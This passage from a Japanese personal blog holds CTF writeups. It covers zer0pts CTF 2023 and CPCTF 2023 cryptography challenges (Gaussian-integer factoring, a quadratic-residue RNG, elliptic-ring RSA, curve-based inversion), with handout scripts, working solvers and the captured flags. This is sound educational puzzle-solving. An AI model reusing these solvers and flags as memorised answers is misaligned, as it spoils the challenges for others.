#154075924574486175347562707909961851402473727702317014643095837103684216209007400449603645038526706544810274253183915272469230486051463763376281249086241018042323557902517109795258549187502855001546939039636627742750565210192130958634960554514582139821851491012805037749372205891490027899780633462385372566211372295338704317555889404525927560364933196695956191547549400570151698776808151665849614088600216427777499739843872660202818084555597128524362080176403087726056343256360787083367650029121152781001815493814784689811694461739837548360105812995919537253775141056337613175724504154405630673812583838536950403083982

######### join ##########
m = int(crt([dp, dq],[int(p),int(q+1)]))
print(long_to_bytes(int(m)))

フラグ

TSGCTF{@l1_y0u_n3Ed_IS_ReaDiNG_5ilvErman_ThE_@r1thmetic_of_e11iPtiC_cURVe5}

*1:総帥兼プレイヤー "Edwow Math" からなるソロチームです。

*2:いつもどおり、虚無っていた時間を多々含みます。

*3:いつものとおりです。

*4:md5の結果をbase64すると末尾は必ず「==」になるので、実はあと2バイト判明させることができたのですが、競技中は全く気づきませんでした。

*5:後に、計算ミスであることが判明。

*6:あえて「X」とは呼びません！都営荒川線・東武野田線も同じ。

*7:もちろん、設問のp、qとは入れ替わっているかもしれません。

zer0pts CTF 2023 参戦記

1. はじめに

　2023/7/15（土）12:00 JST ～ 7/16（日）12:00 JST に開催された「zer0pts CTF 2023」にチーム「N30Z30N」(ソロチーム）で参加しました。これはその参戦記です。

• 2023/7/18 7:05 誤脱字等修正

　なお、結果は Crypto のみ Warmup を含む 3 問 を解いて 551 pts（得点のあったチーム 476 チーム中 85位）でした。去年は「Warmupを含めて 2 問」だったので、少しは進歩したということでしょう（？）。

2. 作戦立案

　前週の CryptoCTF （7/7 23:00～）は当日に休暇をとらず仮眠もとれなかったので、かなり肉体疲労に苦しみました*1。その反省をもとに、今回は次のようなゲームの組み立てを行うことにしました。

• 開始まで極力休養をとる。「エナジー満タン」の感触がなければ、競技前の Warmup も取りやめ。
• 開始後は解きやすそうな Crypto 問題から着手し、波に乗るとことから。
• 方向性としては、「全分野の Warmup 」ではなく、Crypto を埋める方向で進めることを想定*2。
• Crypto を全完するか行き詰った場合*3、他分野の解きやすそうな問題（この段階である程度競技は進んでいるので、solve 数も考慮）を着手。
• 途中、疲労や体調不良の兆候が見られたら、迷わず睡眠（最低 3 時間）をとる。
• 楽しめれば勝ち。

3. 参戦状況（Timeline + Writeup）

3.1 競技前～競技開始まで

【11:15】早めの昼食

　「腹が減っては戦はできぬ」という諺に忠実に従う。スタートダッシュ感を出すため、普段の朝食メニューを昼食とした。

【11:45】パソコン起動、着席

　準備OK。部屋が暑い。

【11:55】腹痛

　おいおい、このタイミングでかよ！（トイレへダッシュ）

【12:01】復帰、競技開始

　始まってるぞ！いざ参戦！

3.2 競技開始～仮眠まで

【12:02頃】「Welcome」（Discord）フラグゲット

　Sanity Check ヨシ！

【12:05頃】「Square_RNG」着手

　サーバのスクリプトを眺めるも、頭に入ってこない。というか、パソコン周辺が暑いので涼しい場所で思考できるようスクリプトを印字。

【12:15頃】虚無りタイム

　印字したスクリプトを眺めながら虚無る。

【13:15頃】「easy_factoring」着手

　とりあえず、オープンされている問題の handout データを DL して印字。easy_factoring が一番やりやすそうだったので、パソコンの前に戻り着手。

【14:00頃】「easy factoring」試行錯誤

　一応「数論屋」なので、 型の数は の元のノルム、というお気持ちを常に持っており、「 だから、N を で素因数分解し、その結果を（Conjugateはいずれか一方を選ぶようにして）組み合わせゆき、 と がともに素数になるものを見つければいいんじゃね？」という方針は割と早く決まった。

　しかし、実装力がカスでプログラムがあちこちバグってしまい、つまらんところで時間を溶かしてしまった。

【15:15頃】「easy_factoring」フラグゲット

　telnetlib とか pwntools とかで接続するプログラムを書くのが面倒だったので、N の値をコピペすると答えを出力する以下のスクリプトを SageMath のコンソールで実行させながら解いた。例によってプログラムが洗練されていない点はご容赦いただきたい。

hand out script：「server.py」

import os
import signal
from Crypto.Util.number import *

flag = os.environb.get(b"FLAG", b"dummmmy{test_test_test}")

def main():
    p = getPrime(128)
    q = getPrime(128)
    n = p * q

    N = pow(p, 2) + pow(q, 2)

    print("Let's factoring !")
    print("N:", N)

    p = int(input("p: "))
    q = int(input("q: "))

    if isPrime(p) and isPrime(q) and n == p * q:
        print("yey!")
        print("Here you are")
        print(flag)
    else:
        print("omg")

def timeout(signum, frame):
    print("Timed out...")
    signal.alarm(0)
    exit(0)

if __name__ == "__main__":
    signal.signal(signal.SIGALRM, timeout)
    signal.alarm(30)
    main()
    signal.alarm(0)

ソルバ：「solve.sage」

from Crypto.Util.number import *

def isEquiv(z, z0):
  return z == z0 or z == -z0 or z == z0.conjugate() or z == -z0.conjugate() or z == I * z0 or z == I * -z0 or z == I * z0.conjugate() or z == -I * z0.conjugate()

def ZI_factor(N):
  R = ZZ[I]
  _facs = R(N).factor()
  facs = []
  for fac in _facs:
    if isEquiv(fac[0],I+1):
      continue
    else:
      OK = 1
      for z0 in facs:
        if isEquiv(fac[0], z0):
          OK = 0
          break
      if OK:
        facs.append(fac[0])
  for x in range(2**len(facs)):
    z = 1 + I
    for i in range(len(facs)):
      if (x & 2**i) >> i:
        z = z * facs[i]
      else:
        z = z * facs[i].conjugate()
    p = int(abs(z[0]))
    q = int(abs(z[1]))
    if isPrime(p) and isPrime(q) and p^2+q^2==N:
      #print(p,q)
      return(p,q)
  return None

print(ZI_factor(int(input("N= "))))

zer0pts{piyopiyo_Fermat's_Sum_of_Square_meow!!}

【15:30頃】「SquareRNG」再考

　1 問解けたので、虚無るのをやめて、スクリプトをちゃんと読むことにした。

　こちらで指定できる値はsb1とsb2で、これらをうまく決めるというところなのだが、「0」は禁止されている。次に映るのが1とか-1なのだが、どうやらこのあたりでうまくいきそうな感じである。

【17:20頃】「SquareRNG」フラグゲット

　サーバの「int」の処理で、初期値 s=0 だと勘違いしていてハマっていた。ちゃんと見直して s=1 に気づいてからは話は簡単で、sb1=1 をセットすると欲しい情報は「がで平方数かどうか」。ここで「Random 1」を32bitと見た時の先頭ビットから「がで平方数か否か」は得られるので sb2に-1をセットすれば「Random 2」の末尾ビットから「がで平方数か否か」が得られ、case closed となった。

hand out script：「server.py」

#!/usr/bin/env python3
import os
from Crypto.Util.number import getPrime, getRandomRange

def isSquare(a, p):
    return pow(a, (p-1)//2, p) != p-1

class SquareRNG(object):
    def __init__(self, p, sa, sb):
        assert sa != 0 and sb != 0
        (self.p, self.sa, self.sb) = (p, sa, sb)
        self.x = 0

    def int(self, nbits):
        v, s = 0, 1
        for _ in range(nbits):
            self.x = (self.x + 1) % p
            s += pow(self.sa, self.x, self.p) * pow(self.sb, self.x, self.p)
            s %= self.p
            v = (v << 1) | int(isSquare(s, self.p))
        return v

    def bool(self):
        self.x = (self.x + 1) % self.p
        t = (pow(self.sa, self.x, self.p) + pow(self.sb, self.x, self.p))
        t %= self.p
        return isSquare(t, self.p)

p = getPrime(256)

sb1 = int(input("Bob's seed 1: ")) % p
sb2 = int(input("Bob's seed 2: ")) % p
for _ in range(77):
    sa = getRandomRange(1, p)
    r1 = SquareRNG(p, sa, sb1)
    print("Random 1:", hex(r1.int(32)))
    r2 = SquareRNG(p, sa, sb2)
    print("Random 2:", hex(r2.int(32)))

    guess = int(input("Guess next bool [0 or 1]: "))
    if guess == int(r1.bool()):
        print("OK!")
    else:
        print("NG...")
        break
else:
    print("Congratz!")
    print(os.getenv("FLAG", "nek0pts{*** REDACTED ***}"))

ソルバ：「solve.py」

from Crypto.Util.number import *
import telnetlib

HOST = "crypto.2023.zer0pts.com"
PORT = 10666

def readline():
  return tn.read_until(b"\n")

def readuntil(s):
  return tn.read_until(s.encode())

def sendline(s):
  return tn.write(s.encode() + b"\n")

############################################################
def guess(r1,r2):
  R1 =  '0' * (32 - len(bin(r1)[2:])) + bin(r1)[2:]
  R2 =  '0' * (32 - len(bin(r2)[2:])) + bin(r2)[2:]
  res = (int(R1[0]) + int(R2[31])) % 2
  return str(res^1)

times = 77
tn = telnetlib.Telnet(HOST, PORT)

readuntil("Bob's seed 1: ")
sendline("1")
readuntil("Bob's seed 2: ")
sendline("-1")

#Question : x^33 - 1 is Square
#x^33 + 1 = (x + 1) * (x^32 - ... - x + 1)
#R1[0] :  x + 1 is square
#R2[31] : x^32 - ... - x + 1is square

for i in range(times):
  r1 = int(readline().strip().decode().replace("Random 1:", ""), 16)
  r2 = int(readline().strip().decode().replace("Random 2:", ""), 16)
  readuntil("Guess next bool [0 or 1]: ")
  sendline(guess(r1,r2))
  print(readline())
print(readline())
print(readline())

tn.close()

zer0pts{L(a)L(b)=L(ab)}

【17:30頃】仕切り直し

　次に着手する問題を決める。とりあえず、「Elliptic Ring RSA」に着手することに。ちなみに決めた理由はこれ。

• Elliptic、私の好きな言葉です。
• Ring、私の好きな言葉です。
• RSA、私の好きな言葉です。

【18:00】名探偵コナン視聴

　今年の劇場版を観たせいか、無意識のうちに灰原哀に執着してしまっている。つまり、思考回路がジンに近づいていてヤバい。

【18:45頃】ディナー

　赤いきつね（焼うどん）だったような気がするが、疲労が溜まってきたせいか記憶が薄い。

【19:30頃】「Elliptic Ring RSA」着手

　とりあえずスクリプトを読みはじめ、いろいろいじってみることにする。

【23:00頃】「Elliptic Ring RSA」を継続

　テストプログラムを動かして、環の構造を体感。とりあえず、環の（半群の）order が分かれば P の（半群の元としての）order はその約数で、d = inverse(e, order) が求まれば ER.pow(C,d)でPを復元できそうな感じである。

　それと、楕円曲線がからんでいるせいか、計算コストは高めである。

　しかし、眠くなってきたので、とりあえず d を求めるプログラムを雑に書き、寝ている間に計算させることにした。

【25:45頃】就寝

　プログラムがなかなか書けず、だいぶ時間を溶かしてしまった。

3.3 起床～競技終了まで

【5:00頃】起床＆朝飯

　目覚ましで起きる。とりあえずメシ、否、プログラムの実行結果。

　order の計算を勘違いしているっぽい（ちゃんと考えず、(p-1)*(E.order())とかいろいろやっていた）。この環は t := E.order、 としたとき、実質 だから、orderはp^t-1（の約数）でよいはず！

　修正＆再稼働。

　しかし朝飯を食べた後、意識が飛んで前方タイムリープ。

【8:00頃】再起床＆事故

　意識回復。パソコンを見ると、計算がうまくいっているっぽい。

　ポチっ。

　ん？

　あれ、SageMathのコンソールWindowsが消えた！

　やっちまった。(>_<)

　気を取り直して8:30頃～再計算開始。終わるのか？

　無理っぽいけど、このパソコンは伊達じゃない！

【11:25頃】「Elliptic Ring RSA」フラグゲット

　計算終わった！よっしゃ！見せてやったぜ、わが軍の新しいパソコンの性能とやらを！

hand out script「q.sage」

import string
import random

flag = os.environb.get(b"FLAG", b"dummmmy{test_test_test}")

class EllipticRingElement:
    point = None
    def __init__(self, point):
        self.point = point
    
    def __add__(self, other):
        if self.point == dict():
            return other
        if other.point == dict():
            return self
        res = self.point.copy()
        for k in other.point.keys():
            if k in res:
                res[k] += other.point[k]
                if res[k] == 0:
                    res.pop(k)
            else:
                res[k] = other.point[k]
                if res[k] == 0:
                    res.pop(k)
        return EllipticRingElement(res)
    
    def __mul__(self, other):
        if self.point == dict() or other.point == dict():
            return self.point()
        res = dict()
        for k1 in other.point.keys():
            for k2 in self.point.keys():
                E = k1 + k2
                k = other.point[k1] * self.point[k2]
                if E in res:
                    res[E] += k
                    if res[E] == 0:
                        res.pop(E)
                else:
                    res[E] = k
                    if res[E] == 0:
                        res.pop(E)
        return EllipticRingElement(res)
    
    def __repr__(self):
        st = ""
        for k in self.point.keys():
            st += f"{self.point[k]}*({k[0]}, {k[1]}) + "
        return st[:-3]
    
class EllipticRing:
    E = None
    Base = None
    def __init__(self, E):
        self.E = E
        self.Base = E.base()

    def __call__(self, pt):
        for P in pt:
            pt[P] = self.Base(pt[P])
        return EllipticRingElement(pt)
    
    def zero(self):
        return EllipticRingElement(dict())
    
    def one(self):
        return EllipticRingElement({E(0): self.Base(1)})
    
    def pow(self, x, n):
        res = self.one()
        while n:
            if (n & 1):
                res = res * x
            x = x * x
            n >>= 1
        return res
    
    def encode(self, m, length):
        left = random.randint(0, length - len(m))
        pad1 = "".join(random.choices(string.ascii_letters, k=left)).encode("utf-8")
        pad2 = "".join(random.choices(string.ascii_letters, k=length-len(m)-left)).encode("utf-8")
        m = pad1 + m + pad2

        Ps = []
        while len(Ps) < length:
            PP = self.E.random_element()
            if PP not in Ps:
                Ps.append(PP)
        Ps = sorted(Ps)

        M = dict()
        for coef, pt in zip(m, Ps):
            M[pt] = self.Base(coef)
        return EllipticRingElement(M)
    
def random_prime_bits(nbits):
    return random_prime(2^nbits-1, false, 2^(nbits-1))

nbits = 8
p = random_prime_bits(nbits)
Fp = GF(p)

a = Fp.random_element()
b = Fp.random_element()
E = EllipticCurve(Fp, [a, b])

ER = EllipticRing(E)

P = ER.encode(flag, 30)

e = 13
C = ER.pow(P, e)

print(f"p: {p}")
print(f"C: {C}")
print(f"a: {a}")
print(f"b: {b}")
print(f"e: {e}")

「output.txt」 （省略）

ソルバ：「solve.sage」

from Crypto.Util.number import *
p = 211 # from output.txt
Fp = GF(p)
a = 201 # from output.txt
b = 102 # from output.txt
E = EllipticCurve(Fp, [a, b])
ord_ER = p**E.order()-1
e = 13 # from output.txt
d = inverse(e, ord_ER//13)

assert e*d % (ord_ER//13) == 1

C_ = "182*(91, 45) + 147*(3, 164) + 85*(62, 60) + 53*(77, 59) + 99*(77, 152) + 18*(137, 59) + 106*(169, 101) + 147*(127, 127) + 154*(152, 163) + 121*(43, 73) + 155*(110, 160) + 202*(116, 45) + 195*(1, 84) + 106*(71, 162) + 33*(209, 122) + 112*(134, 164) + 186*(1, 127) + 72*(183, 116) + 141*(141, 39) + 72*(83, 127) + 157*(197, 175) + 6*(178, 24) + 106*(71, 49) + 114*(57, 201) + 95*(181, 58) + 1*(174, 44) + 193*(202, 27) + 182*(121, 95) + 52*(167, 179) + 109*(184, 177) + 110*(21, 162) + 101*(126, 170) + 208*(47, 102) + 168*(129, 105) + 209*(179, 123) + 210*(160, 70) + 10*(13, 103) + 159*(76, 55) + 165*(31, 26) + 31*(44, 119) + 47*(6, 70) + 150*(74, 47) + 117*(30, 65) + 3*(108, 69) + 61*(43, 138) + 151*(72, 209) + 122*(110, 51) + 127*(44, 92) + 64*(191, 113) + 61*(45, 70) + 155*(91, 166) + 175*(95, 194) + 97*(21, 49) + 210*(66, 191) + 129*(129, 106) + 210*(80, 7) + 157*(174, 167) + 45*(141, 172) + 189*(155, 78) + 160*(194, 1) + 209*(82, 28) + 142*(164, 136) + 135*(199, 155) + 166*(118, 95) + 100*(123, 14) + 203*(121, 116) + 22*(36, 20) + 33*(65, 58) + 196*(189, 60) + 75*(137, 152) + 22*(125, 4) + 45*(119, 162) + 59*(47, 109) + 102*(177, 157) + 196*(109, 20) + 112*(192, 94) + 97*(209, 89) + 67*(95, 17) + 129*(75, 55) + 34*(134, 47) + 156*(60, 156) + 135*(127, 84) + 11*(148, 147) + 194*(202, 184) + 27*(45, 141) + 131*(4, 166) + 166*(148, 64) + 183*(164, 75) + 177*(130, 145) + 128*(107, 8) + 204*(156, 40) + 131*(17, 25) + 99*(177, 54) + 122*(82, 183) + 52*(178, 187) + 130*(168, 19) + 14*(150, 150) + 173*(167, 32) + 82*(184, 34) + 172*(72, 2) + 144*(169, 110) + 7*(118, 116) + 96*(181, 153) + 34*(133, 5) + 97*(207, 17) + 24*(78, 161) + 54*(57, 10) + 90*(143, 188) + 172*(130, 66) + 179*(146, 65) + 38*(55, 202) + 170*(63, 31) + 99*(35, 65) + 162*(150, 61) + 56*(74, 164) + 146*(144, 85) + 196*(133, 206) + 164*(152, 48) + 139*(176, 153) + 92*(125, 207) + 124*(31, 185) + 136*(0, 1) + 118*(107, 203) + 28*(24, 56) + 66*(171, 151) + 127*(76, 156) + 63*(208, 59) + 187*(146, 146) + 138*(85, 0) + 195*(19, 190) + 115*(60, 55) + 87*(171, 60) + 194*(17, 186) + 79*(75, 156) + 181*(27, 37) + 38*(192, 117) + 168*(13, 108) + 41*(143, 23) + 167*(199, 56) + 177*(86, 71) + 160*(35, 146) + 165*(189, 151) + 130*(32, 30) + 39*(108, 142) + 197*(36, 191) + 176*(120, 17) + 180*(194, 210) + 204*(19, 21) + 160*(6, 141) + 195*(109, 191) + 194*(155, 133) + 62*(65, 153) + 6*(138, 107) + 12*(201, 62) + 43*(180, 43) + 178*(208, 152) + 86*(180, 168) + 135*(55, 9) + 5*(138, 104) + 118*(207, 194) + 58*(160, 141) + 173*(66, 20) + 16*(179, 88) + 181*(61, 131) + 3*(80, 204) + 137*(119, 49) + 106*(126, 41) + 127*(176, 58) + 64*(144, 126) + 96*(30, 146) + 165*(168, 192) + 104*(27, 174) + 64*(63, 180) + 35*(123, 197) + 111*(86, 140) + 141*(197, 36) + 83*(116, 166) + 159*(4, 45) + 165*(62, 151) + 94*(183, 95) + 133*(3, 47) + 58*(83, 84) + 149*(201, 149) + 96*(20, 112) + 141*(191, 98) + 113*(24, 155) + 139*(61, 80) + 73*(120, 194) + 116*(78, 50) + 68*(156, 171) + 31*(32, 181)" # from output.txt
C_ = C_.split(" + ")

C = dict()
for c in C_:
  v, k = c.split("*")
  pt = eval(k)
  if pt == (0,1):
    pt = [0,1,0]
  C[E(pt)] = E.base()(v)

class EllipticRingElement:
  point = None
  def __init__(self, point):
    self.point = point
  def __add__(self, other):
    if self.point == dict():
      return other
    if other.point == dict():
      return self
    res = self.point.copy()
    for k in other.point.keys():
      if k in res:
        res[k] += other.point[k]
        if res[k] == 0:
          res.pop(k)
      else:
        res[k] = other.point[k]
        if res[k] == 0:
          res.pop(k)
    return EllipticRingElement(res)
  def __mul__(self, other):
    if self.point == dict() or other.point == dict():
      return self.point()
    res = dict()
    for k1 in other.point.keys():
      for k2 in self.point.keys():
        E = k1 + k2
        k = other.point[k1] * self.point[k2]
        if E in res:
          res[E] += k
          if res[E] == 0:
            res.pop(E)
        else:
          res[E] = k
          if res[E] == 0:
            res.pop(E)
    return EllipticRingElement(res)
  def __repr__(self):
    st = ""
    for k in self.point.keys():
      st += f"{self.point[k]}*({k[0]}, {k[1]}) + "
    return st[:-3]

class EllipticRing:
  E = None
  Base = None
  def __init__(self, E):
    self.E = E
    self.Base = E.base()
  def __call__(self, pt):
    for P in pt:
      pt[P] = self.Base(pt[P])
    return EllipticRingElement(pt)
  def zero(self):
    return EllipticRingElement(dict())
  def one(self):
    return EllipticRingElement({E(0): self.Base(1)})
  def pow(self, x, n):
    res = self.one()
    while n:
      if (n & 1):
        res = res * x
      x = x * x
      n >>= 1
    return res
  def encode(self, m, length):
    left = random.randint(0, length - len(m))
    pad1 = "".join(random.choices(string.ascii_letters, k=left)).encode("utf-8")
    pad2 = "".join(random.choices(string.ascii_letters, k=length-len(m)-left)).encode("utf-8")
    m = pad1 + m + pad2
    Ps = []
    while len(Ps) < length:
      PP = self.E.random_element()
      if PP not in Ps:
        Ps.append(PP)
    Ps = sorted(Ps)
    M = dict()
    for coef, pt in zip(m, Ps):
      M[pt] = self.Base(coef)
    return EllipticRingElement(M)

ER = EllipticRing(E)
CC = EllipticRingElement(C)
P = ER.pow(CC,d)

P0_ = str(P)

P0_ = P0_.split(" + ")
P0 = dict()
for c in P0_:
  v, k = c.split("*")
  pt = eval(k)
  P0[pt] = v

SK = []
for k in P0.keys():
  SK.append(k)

SK = sorted(SK)
VS = []
for k in SK:
  VS.append(chr(int(P0[k])))

flag = "".join(VS)
print(flag)

zer0pts{Gr0up_r1ng_meow!!!}

4. 解けなかった問題

　競技中に解けた問題は上のもので全てです。

　なお、チャレンジして解けなかったのは以下の 4 つです。

• moduhash 　Elliptic Ring RSA の次にやろうと思っていたのですが、時間切れ。

• Unlimited Braid Work 　Braid 群知らなかったので不戦敗。

• RSALCG2 　作者が Keymoon さんであることは、server.py を見ただけでピンときました。サーバスクリプト中の 「^」 見て心折れました。

• decompile me 　雑に key と enc を取り出して RC4 復号やってみたけどうまくいかなかった。雑すぎて失敗。

※UpsolveはTBD。

5. おわりに（振り返りと謝辞）

• Good：無理だと思ってあきらめかけた問題を通せた。
• Bad：虚無っていた時間があまりに多かった。
• Next：暗号関連の数学知識（引き出し）を増やす、Project Eular への参戦。

最後になりましたが、今年も楽しい大会を開催をしてくださった zer0pts の皆様、対戦してくださった参加者の皆様、ありがとうございました。

*1:開始後 6 時間くらいでグロッギーとなり、リポＤスーパーとチョコレートの投与でどうにか復帰しました。

*2:実際には、その時のお気持ち次第。すべての決定権が自分にあるのが「ソロチーム」の利点ですので。

*3:ガチ問題が出ることが予想されるので、実質的には行き詰ることを想定しています。

CPCTF 2023 Writeup

1. はじめに

　4/26、東工大デジタル創作同好会traPさんが主宰する「CPCTF 2023」にソロチーム「N30Z30N」で参加しました。

▼開催案内（ブログ） trap.jp

▼東工大デジタル創作同好会traPさんのTwitter twitter.com

　参加できたのが終盤 1時間半くらいでしたので、Crypto 問 のほか OSINT 問などを少しやったぐらいで時間切れとなってしまいましたが、久しぶりに写真ベースの OSINT を楽しめました。

　ランキングは 37 位でした。ヨシ、素数だ、頑張った！！

　以下、簡単にですが Crypto 2問（いずれも難易度 Medium）の Writeup を書きます。

2. Writeup

2.1. Misuse

設問

　以下の SageMath スクリプトと出力データが与えられます。

「misuse.sage」

"""This code is designed to be run with SageMath.
See https://www.sagemath.org/
If you don't have SageMath installed, you can use the online version at https://cocalc.com/ or https://sagecell.sagemath.org/
But you may not use pyton lib online...
ref: https://doc.sagemath.org/html/en/index.html
"""

from Crypto.Util.number import bytes_to_long, long_to_bytes, isPrime
from flag import flag
from Crypto.Cipher import AES
from base64 import b64encode
from secret import key
from Crypto.Util.Padding import pad


p = 1457379754778834114393428514496372769300186542434939310975944765431765709327445548009771988242361974038539406450275157591
a = 1236064211753439722521344199773932075287648377233139862790772102290062141518569630890922001641345393262197009050412379555
b = 1128111897991419355721141214155995058314857116431662004640521251265155838304469066234949556324122951758680646976644303642


def lift_x(x, p):
    assert p % 4 == 3
    z = (x**3 + a * x + b) % p
    res = pow(z, (p + 1) // 4, p)
    return res % p, -res % p


if __name__ == "__main__":
    assert isPrime(p)
    F = GF(p)
    m = flag.encode("utf-8")

    cipher = AES.new(long_to_bytes(key), AES.MODE_CBC)
    iv = cipher.iv
    c = cipher.encrypt(pad(m, AES.block_size))
    x = bytes_to_long(long_to_bytes(key) + c)
    assert x < p
    d = 65537
    ecc = EllipticCurve(F, [a, b])
    y = lift_x(x, p)[0]
    P = ecc(x, y)
    Q = d * P

    with open("public.txt", "w") as f:
        f.write(f"iv={bytes_to_long(b64encode(iv))}\n")
        f.write(f"Q_x={Q[0]}\n")
        f.write(f"Q_y={Q[1]}\n")

「public.txt」

iv=1605329254557036569964018111218106639001485748371419774269
Q_x=1392303607889887553584136595208390161792050603172364540235291678701315789244344186052295822556700256817290239704363991998
Q_y=1217907436356492041789129865417129927287034438783900990437895711720259012753482269603468893642710812002767867785347902249

検討

　楕円曲線の問題ですが、いわゆる DLP を解く類のものではなく、ある点をスカラー倍された点 Q が与えられ、そのスカラー倍する前の点（の x 座標）を求めるものです。

　この問題では特にパラメータが隠されているようなことはないので、SageMath を使い暗号化の逆手順を愚直に計算してゆけばフラグを得ることができそうです。

解法

以下のソルバを書いて解きました。

「solve.sage」

from Crypto.Util.number import *
from Crypto.Cipher import AES
from base64 import b64decode

p = 1457379754778834114393428514496372769300186542434939310975944765431765709327445548009771988242361974038539406450275157591
a = 1236064211753439722521344199773932075287648377233139862790772102290062141518569630890922001641345393262197009050412379555
b = 1128111897991419355721141214155995058314857116431662004640521251265155838304469066234949556324122951758680646976644303642

iv=1605329254557036569964018111218106639001485748371419774269
Q_x=1392303607889887553584136595208390161792050603172364540235291678701315789244344186052295822556700256817290239704363991998
Q_y=1217907436356492041789129865417129927287034438783900990437895711720259012753482269603468893642710812002767867785347902249

d = 65537

F = GF(p)
E = EllipticCurve(F,[a,b])
Q = E(Q_x,Q_y)

od = E.order()
t = inverse(d, od)
G = t*Q
assert d*G == Q

x = long_to_bytes(int(G[0]))

key = x[:16]
iv = b64decode(long_to_bytes(int(iv)))
cipher = AES.new(key = key, mode=AES.MODE_CBC, iv=iv)
pt = cipher.decrypt(x[16:])
print(pt)

フラグ

CPCTF{Manual_is_imp0rtant}

2.2. Simple

設問

　以下の python スクリプトと出力データが与えられます。

「simple.py」

from Crypto.Util.number import inverse, bytes_to_long, getPrime
from flag import flag


class complex_over_p:
    """
    a + bi
    """

    def __init__(self, a, b, p):
        self.a = a
        self.b = b

        self.p = p

    def __mul__(self, other):
        return complex_over_p(
            (self.a * other.a - self.b * other.b) % self.p,
            (self.a * other.b + self.b * other.a) % self.p,
            self.p,
        )

    def __pow__(self, n: int):
        ret = complex_over_p(1, 0, self.p)
        x = complex_over_p(self.a, self.b, self.p)
        while n > 0:
            if n & 1:
                ret = ret * x
            x = x * x
            n >>= 1
        return ret

    def __str__(self):
        return str(self.a) + " + " + str(self.b) + "i"


p = getPrime(512)
q = getPrime(512)
n = p * q
phi = (p - 1) * (q - 1)
e = 65537

m = bytes_to_long((flag).encode("utf-8"))
c_1 = complex_over_p(p, m, n) ** e
c_2 = complex_over_p(q, m, n) ** e

with open("cipher.txt", "w") as f:
    f.write(f"c_1 = {str(c_1)}\n")
    f.write(f"c_2 = {str(c_2)}\n")
    f.write(f"n = {n}\n")
    f.write(f"e = {e}\n")

「cipher.txt」

c_1 = 88947353384906315386142174915579230007708484691905461586249734733895208303904624706955572569717469153074453837889147058757297004159523404800499566731846573280606881057150101844929178328363240743156762837486978571114151912836342740869293096891054377782752248810122413624567401981982628574682163267589540717955 + 105796218607197626508309219898970081654433389611035862776816738031930217893350585142033078143656160997324512315260317101196998029046142078518167267210684968483205795618377068578645969888568133775820377659323101885187136507439656053103103802476138541844262969937543381511564444761769799873705129093296227488320i
c_2 = 6246646181898635030418930144979030696163268885489193597189892517442414814959679853409630585655482080447639092928109757977342458025765218315720433756032748568912426451942636486110411038484872363928990656032625950245328223463301109739166158341796991125915052131277132622262221136515681121985807852466393611412 + 53817519046828021036896927561082153848829725683909509411136093993919199941896521025977358288420902565544951255959786518459773639829589216874164688208953119794504853435052217109342811249935881805211646847973929482665869312260539685753735469177452027367949870932823024534083790996822338074496201028292592498398i
n = 115660927134746496667389439939121894365639159618801107805144217447831876345527158612296725729945512010246362315164908359385194177739042272399000609673334050698528059482827768728850630523188582862374516240503442919767592843273925939238586765096529791229982128395675821790738782110235716669724330392693672332699
e = 65537

検討

　c_1、c_2 から p、q をリークしてゆく流れしかなさそうですが、c_1 = (p + m*i)**e mod.n、c_2 = (q + m*i)**e mod.n ですから c_1（resp. c_2）の実部は p（resp. q）で割り切れます*1。

　あとは mod. Totient でe の逆数 d を求めてから c_1 の d 乗を計算し、その虚部をバイト（文字列）に変換すればフラグをゲットできます。

解法

　以下のソルバを使って解きました。ここで、Totient は (p**2-1) * (q**2-1) になる p, q の取り方によらず (p**2-1) * (q**2-1) を割る*2ことに注意します（これを知らないと解くのは困難です多少回りくどくなります*3）。

from Crypto.Util.number import *

c_1 = (88947353384906315386142174915579230007708484691905461586249734733895208303904624706955572569717469153074453837889147058757297004159523404800499566731846573280606881057150101844929178328363240743156762837486978571114151912836342740869293096891054377782752248810122413624567401981982628574682163267589540717955, 105796218607197626508309219898970081654433389611035862776816738031930217893350585142033078143656160997324512315260317101196998029046142078518167267210684968483205795618377068578645969888568133775820377659323101885187136507439656053103103802476138541844262969937543381511564444761769799873705129093296227488320)
c_2 = (6246646181898635030418930144979030696163268885489193597189892517442414814959679853409630585655482080447639092928109757977342458025765218315720433756032748568912426451942636486110411038484872363928990656032625950245328223463301109739166158341796991125915052131277132622262221136515681121985807852466393611412, 53817519046828021036896927561082153848829725683909509411136093993919199941896521025977358288420902565544951255959786518459773639829589216874164688208953119794504853435052217109342811249935881805211646847973929482665869312260539685753735469177452027367949870932823024534083790996822338074496201028292592498398)
n = 115660927134746496667389439939121894365639159618801107805144217447831876345527158612296725729945512010246362315164908359385194177739042272399000609673334050698528059482827768728850630523188582862374516240503442919767592843273925939238586765096529791229982128395675821790738782110235716669724330392693672332699
e = 65537

class complex_over_p:
    def __init__(self, a, b, p):
        self.a = a
        self.b = b
        self.p = p
    def __mul__(self, other):
        return complex_over_p(
            (self.a * other.a - self.b * other.b) % self.p,
            (self.a * other.b + self.b * other.a) % self.p,
            self.p,
        )
    def __pow__(self, n: int):
        ret = complex_over_p(1, 0, self.p)
        x = complex_over_p(self.a, self.b, self.p)
        while n > 0:
            if n & 1:
                ret = ret * x
            x = x * x
            n >>= 1
        return ret
    def __str__(self):
        return str(self.a) + " + " + str(self.b) + "i"

p = GCD(c_1[0], n)
q = GCD(c_2[0], n)

phi = (p**2-1) * (q**2-1) 
d = inverse(e, phi)

pt = complex_over_p(c_1[0], c_1[1], n) ** d
print(long_to_bytes(pt.b).decode())

フラグ

CPCTF{c0mp1ex_numbers_4re_simp1e}

3. 感想

　今回はほとんど Crypto と OSINT しかやっていませんが、難易度 Medium の Crypto 問は程よくスパイシーで面白かったです。特に「Simple」では貰えるスクリプトの中にあった Totient をミスリードする記載*4に惑わされてしまいました。

　時間がなかったとはいえ、全て競プロ問題をスルーしてしまった点は反省＆懺悔しています。

　平日の参加は厳しかったですが、次回も参加したいと思います。

*1:これに気づくのに多大な時間を要してしまいました。

*2:4/28訂正。詳細には、有理素数 r に対して r≡1 mod 4 なら r-1、≡3 mod 4 なら r**2-1。今回はp≡1 mod 4 、q≡3 mod 4 だったので phi = (p-1)*(q**2-1)。

*3:※4/27追記：今回の問題のようにフラグが p より小さい（もしくは総当たりで見つかるくらい"少し"大きい）場合、mod p で考え直せば解けるようです。また、フラグが大きくても mod p と mod q で解いて 中国式剰余定理を使えば OK のようです。

*4:なぜそう思ったかというと、phi の値がその後何処にもつかわれていなかったからです。実際ミスリードを意図したか否かは作問者のみぞ知るところですね。

Ricerca CTF 2023 Writeup

1. はじめに

